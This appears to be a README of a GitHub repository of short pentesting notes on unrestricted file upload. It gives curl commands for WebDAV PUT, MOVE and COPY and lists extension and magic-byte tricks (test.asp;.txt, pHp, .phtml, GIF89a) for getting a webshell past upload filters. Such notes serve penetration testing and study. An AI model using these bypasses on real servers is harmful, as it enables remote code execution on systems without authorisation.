0xAbbarhSF / File-Upload-Exploit

A file upload vulnerability allows attackers to inject malicious content into the application server. Also known as an unrestricted file upload

File-Upload-Exploit

A file upload vulnerability allows attackers to inject malicious content into the application server. Also known as an unrestricted file upload

If try to upload webshell to victim check how the exploit is done. Check any bad characters

e.g. $XXX is taken as variable in bash, need to use $ to escape

WebDav

upload file: curl -T '/path/to/local/file.txt' 'https://example.com/test/' curl --upload-file http:///test/

curl -X MOVE --header 'Destination:http://example.org/new.txt' 'https://example.com/old.txt' curl -X COPY --header 'Destination:http://example.org/new.txt' 'https://example.com/old.txt'

login:

curl --user 'user:pass' 'https://example.com'

Upload bypass:

https://www.owasp.org/index.php/Unrestricted_File_Upload https://soroush.secproject.com/blog/tag/unrestricted-file-upload/

IIS 6.0 or below Asp > upload as test.txt, copy or move file as test.asp;.txt

Php > upload as pHp / phP / test.php.jpg /

php - phtml, .php, .php3, .php4, .php5, and .inc

asp - asp, .aspx

perl - .pl, .pm, .cgi, .lib

jsp - .jsp, .jspx, .jsw, .jsv, and .jspf

Coldfusion - .cfm, .cfml, .cfc, .dbm

Add:

GIF89a;

Options Use options to check for upload method.

upload function. Is put allowed?